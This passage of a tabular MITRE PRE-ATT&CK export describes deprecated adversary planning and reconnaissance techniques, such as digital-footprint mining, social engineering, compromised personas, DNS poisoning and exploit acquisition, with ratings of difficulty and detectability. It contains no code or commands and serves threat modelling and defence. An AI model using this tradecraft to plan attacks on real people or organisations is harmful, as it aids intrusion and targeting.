down. (Citation: LUCKYCAT2012)",attack-pattern--286cc500-4291-45c2-99a1-e760db176402,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1084,"Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.",Yes,"3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1275', 'external_id': 'T1275'}, {'source_name': 'DigitalFootprint', 'description': 'Christopher Budd. (2016, June 27). The importance of understanding your digital footprint. Retrieved May 4, 2017.'}, {'source_name': 'trendmicro-vtech', 'description': 'Christopher Budd. (2015, December 1). Understanding the Risks of the VTech Data Breach. Retrieved May 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1275,mitre-pre-attack,T1275,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Aggregate individual's digital footprint,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1275). - -In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)",attack-pattern--b3f36317-3940-4d71-968f-e11ac1bf6a31,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1052,Information readily available through searches,Yes,Searching publicly available sources that cannot be monitored by a defender.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1294', 'external_id': 'T1294'}, {'source_name': 'OSFingerprinting2014', 'description': 'InfoSec Institute. (2014, June 19). What You Must Know About OS Fingerprinting. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1294,mitre-pre-attack,T1294,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Analyze hardware/software security defensive capabilities,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1294). - -An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)",attack-pattern--a1e8d61b-22e1-4983-8485-96420152ecd8,attack-pattern,['technical-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1071,"Analyze network traffic to determine security filtering policies, packets dropped, etc.",Yes,This can be done offline after the data has been collected.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1295', 'external_id': 'T1295'}, {'source_name': 'Scasny2015', 'description': 'Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1295,mitre-pre-attack,T1295,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Analyze social and business relationships, interests, and affiliations","This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1295). - -Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)",attack-pattern--ee40d054-6e83-4302-88dc-a3af98821d8d,attack-pattern,['people-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1072,"Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]). Social media also provides insight into the target's affiliations with groups and organizations. Finally, certification information can explain their technical associations and professional associations.",Yes,"Public sources are external to the defender's organization. Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1299', 'external_id': 'T1299'}, {'source_name': 'RossiMergers', 'description': 'Ben Rossi. (2014, August 29). Mergers and acquisitions: a new target for cyber attack. Retrieved March 6, 2017.'}, {'source_name': 'MeidlHealthMergers', 'description': 'Holly Meidl. (2015, December 16). How Health Care Companies Can Reduce the Risk of Cyber-Attack During Mergers and Acquisitions. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1299,mitre-pre-attack,T1299,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Assess opportunities created by business deals,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1299). - -During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)",attack-pattern--e2aa077d-60c9-4de5-b015-a9c382877cd9,attack-pattern,['organizational-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1076,"Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability. While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.",No,Most of this activity would target partners and business processes. Partners would not report. Difficult to tie this activity to a cyber attack.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1228', 'external_id': 'T1228'}, {'source_name': 'Herring1999', 'description': 'Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1228,mitre-pre-attack,T1228,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Assign KITs/KIQs into categories,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1228). - -Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)",attack-pattern--a86a21a4-6304-4df3-aa6d-08114c47d48f,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1005,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1349', 'external_id': 'T1349'}, {'source_name': 'NYTStuxnet', 'description': 'William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', 'url': 'https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html'}, {'source_name': 'NationsBuying', 'description': 'Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.', 'url': 'https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1349,mitre-pre-attack,T1349,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Build or acquire exploits,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1349). - -An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)",attack-pattern--4886e3c2-468b-4e26-b7e5-2031d995d13a,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1126,Several exploit repositories and tool suites exist for re-use and tailoring.,Yes,"Adversary will likely use code repositories, but development will be performed on their local systems.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1343', 'external_id': 'T1343'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}, {'source_name': 'Hacked Social Media Accounts', 'description': 'Marcus Habert. (2015, November 8). What Happens to Hacked Social Media Accounts. Retrieved March 28, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'persona-development'}]",1.0,,https://attack.mitre.org/techniques/T1343,mitre-pre-attack,T1343,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Choose pre-compromised persona and affiliated accounts,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1343). - -For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)",attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9,attack-pattern,['persona-development'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1120,It is relatively easy and low cost to purchase compromised credentials. Mining social media sites offers open source information about a particular target. Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.,Yes,Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.,No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1388', 'url': 'https://attack.mitre.org/techniques/T1388'}, {'description': 'CYLANCE. (n.d.). Operation Cleaver. Retrieved March 6, 2017.', 'source_name': 'CylanceOpCleaver'}, {'description': ""Jason Mick. (2011, July 12). AntiSec Exposes U.S. Soldiers' S/Ns, Passwords, Vows Attack on Monsanto. Retrieved March 9, 2017."", 'source_name': 'DailyTechAntiSec'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'compromise'}]",1.0,False,https://attack.mitre.org/techniques/T1388,mitre-pre-attack,T1388,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise of externally facing system,"**This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.** - -Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)",attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4,attack-pattern,['compromise'],2020-03-30T14:16:12.162Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1165,DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.,Yes,"Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1268', 'external_id': 'T1268'}, {'source_name': 'SEAttackVectors', 'description': 'Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017.'}, {'source_name': 'BeachSE2003', 'description': 'Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1268,mitre-pre-attack,T1268,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Conduct social engineering,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1268). - -Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)",attack-pattern--af358cad-eb71-4e91-a752-236edc237dae,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1045,Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.,Yes,No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1345', 'external_id': 'T1345'}, {'source_name': 'APT1', 'description': 'Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1345,mitre-pre-attack,T1345,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Create custom payloads,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1345). - -A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)",attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1122,"Specialized tools exist for research, development, and testing of virus/malware payloads.",No,It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.,No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1382', 'url': 'https://attack.mitre.org/techniques/T1382'}, {'description': 'Cindy Liu. (2016, March 30). Google DNS Poisoning Follows Brief Unblocking. Retrieved March 31, 2017.', 'source_name': 'Google DNS Poisoning'}, {'description': 'John Leyden. (2014, January 21). DNS poisoning slams web traffic from millions in China into the wrong hole. Retrieved March 31, 2017.', 'source_name': 'DNS Poisoning China'}, {'description': 'Paul Oliveria. (2008, January 11). Targeted Attack in Mexico: DNS Poisoning via Modems. Retrieved April 1, 2017.', 'source_name': 'Mexico Modem DNS Poison'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1382,mitre-pre-attack,T1382,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DNS poisoning,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)",attack-pattern--76c9e8cb-52e1-4ddc-80d4-5f7231842e06,attack-pattern,['launch'],2020-03-30T14:19:39.311Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1159,Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.,Yes,"Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1284', 'external_id': 'T1284'}, {'source_name': 'LUCKYCAT2012', 'description': 'Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.'}, {'source_name': 'Schneier-cloud', 'description': 'Bruce Schneier. (2017, April 5). APT10 and Cloud Hopper. Retrieved May 9, 2017.'}, {'source_name': 'Computerworld-suppliers', 'description': 'Michael Kan. (2017, April 4). Chinese hackers go after third-party IT suppliers to steal data. Retrieved May 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1284,mitre-pre-attack,T1284,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine 3rd party infrastructure services,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1284). - -A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)",attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1061,Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.,Yes,Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.,No, -"[{'external_id': 'T1259', 'url': 'https://attack.mitre.org/techniques/T1259', 'source_name': 'mitre-pre-attack'}, {'description': ""Cliff Stoll. (1089). The Cuckoo's Egg. Retrieved August 8, 2017."", 'source_name': 'CuckoosEgg'}, {'description': ""Wikipedia contributors. (2017, January 18). The Cuckoo's Egg. Retrieved March 5, 2017."", 'source_name': 'CuckoosEggWikipedia'}, {'description': 'WBGH Nova. (1990, October 3). The KGB, the Computer and Me. Retrieved March 5, 2017.', 'source_name': 'KGBComputerMe'}]","[{'phase_name': 'technical-information-gathering', 'kill_chain_name': 'mitre-pre-attack'}]",1.0,,https://attack.mitre.org/techniques/T1259,mitre-pre-attack,T1259,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine external network trust dependencies,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1259). - -Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)",attack-pattern--a2fc93cd-e371-4755-9305-2615b6753d91,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1036,"Determining trust relationships once internal to a network is trivial. Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks. - -If completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. - -With no other access, this is hard for an adversary to do completely from a remote vantage point.",No,"This is not easily performed remotely and therefore not a detectable event. If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1244', 'external_id': 'T1244'}, {'source_name': 'CyberAdversaryBehavior', 'description': 'Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'}, {'source_name': 'JP3-60', 'description': 'Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.'}, {'source_name': 'JP3-12R', 'description': 'Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.'}, {'source_name': 'DoD Cyber 2015', 'description': 'Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'target-selection'}]",1.0,,https://attack.mitre.org/techniques/T1244,mitre-pre-attack,T1244,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine secondary level tactical element,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1244). - -The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)",attack-pattern--b9148981-152a-4a19-95c1-962803f5c9af,attack-pattern,['target-selection'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1021,This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.,Yes,"Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1255', 'external_id': 'T1255'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1255,mitre-pre-attack,T1255,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Discover target logon/email address format,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1255). - -Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)",attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1032,Scraping of known email addresses from the target will likely reveal the target standard for address/username format. This information is easily discoverable.,Yes,Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1286', 'external_id': 'T1286'}, {'source_name': 'FriedDumpsters', 'description': 'Robert B. Fried. (n.d.). Dumpsters: Beware of Treasures. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1286,mitre-pre-attack,T1286,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Dumpster dive,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1286). - -Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)",attack-pattern--6c79d654-6506-4f33-b48f-c80babdcc52d,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1063,Not difficult if waste is placed in an unsecured or minimally secured area before collection.,Yes,Strong physical security and monitoring will detect this behavior if performed on premises.,Yes, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1377', 'url': 'https://attack.mitre.org/techniques/T1377'}, {'description': 'PETER BRIGHT. (2013, November 6). Google crawler tricked into performing SQL injection attacks using decade-old technique. Retrieved March 9, 2017.', 'source_name': 'GoogleCrawlerSQLInj'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1377,mitre-pre-attack,T1377,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploit public-facing application,"**This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190).** - -The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)",attack-pattern--8a64f743-acaa-49d5-9d3d-ae5616a3876f,attack-pattern,['launch'],2020-03-30T14:20:54.394Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1154,"Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.",Yes,"If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1365', 'external_id': 'T1365'}, {'source_name': 'McDRecall', 'description': 'Tash Shifrin. (2006, October 16). Malware forces McDonald’s recall of giveaway MP3s. Retrieved March 9, 2017.'}, {'source_name': 'SeagateMaxtor', 'description': 'Brandon Hill. (2007, November 14). Seagate Serves External HDDs with a Side of Virus. Retrieved March 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'stage-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1365,mitre-pre-attack,T1365,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hardware or software supply chain implant,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1365). - -During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)",attack-pattern--388f3a5c-2cdd-466c-9159-b507fa429fcd,attack-pattern,['stage-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1142,"Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.",No,"The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1272', 'external_id': 'T1272'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}, {'source_name': 'Scasny2015', 'description': 'Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1272,mitre-pre-attack,T1272,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify business relationships,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1272). - -Business relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who 